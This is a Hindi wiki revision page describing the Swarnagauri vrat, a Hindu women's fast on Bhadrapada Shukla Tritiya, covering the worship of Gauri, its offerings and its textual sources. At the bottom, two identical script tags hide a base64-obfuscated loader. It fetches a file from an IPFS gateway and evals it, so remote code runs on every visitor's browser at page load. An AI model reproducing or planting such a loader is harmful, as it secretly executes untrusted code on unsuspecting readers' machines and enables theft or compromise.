"स्वर्णगौरी व्रत" के अवतरणों में अंतर

भारत डिस्कवरी प्रस्तुति
यहाँ जाएँ:भ्रमण, खोजें
('*भारत में धार्मिक व्रतों का सर्वव्यापी प्रचार रहा ...' के साथ नया पन्ना बनाया)
 
छो (स्वर्णगौरीव्रत का नाम बदलकर स्वर्णगौरी व्रत कर दिया गया है)
(कोई अंतर नहीं)

09:09, 12 सितम्बर 2010 का अवतरण

  • भारत में धार्मिक व्रतों का सर्वव्यापी प्रचार रहा है। यह हिन्दू धर्म ग्रंथों में उल्लखित हिन्दू धर्म का एक व्रत संस्कार है।
  • भाद्रपद शुक्ल पक्ष की तृतीया को स्वर्णगौरीव्रत किया जाता हैं।
  • स्वर्णगौरीव्रत में देवता गौरी की पूजा की जाती है।
  • स्वर्णगौरीव्रत केवल नारियों के लिए होता है।
  • स्वर्णगौरीव्रत 16 उपचारों से गौरी की पूजा की जाती है।
  • पुत्रों, धन एवं सौभाग्य की प्राप्ति के लिए देवी से प्रार्थना करनी चाहिए।
  • स्वर्णगौरीव्रत उद्यापन पर 16 पुरवों (कुल्हड़ों में) 16 खाद्य पदार्थ भरकर तथा वस्त्र से ढंककर गृहस्थ ब्राह्मणों एवं उनकी पत्नियों को दान करना चाहिए।
  • व्रतार्क [1], व्रतराज [2] में आया है कि यह कर्नाटक प्रान्त में व्यवहार रूप में प्रचलित है।


पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

टीका टिप्पणी और संदर्भ

  1. (व्रतार्क पाण्डुलिपि 41 अ-44 ब)
  2. (व्रतराज 96-97)

संबंधित लेख

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>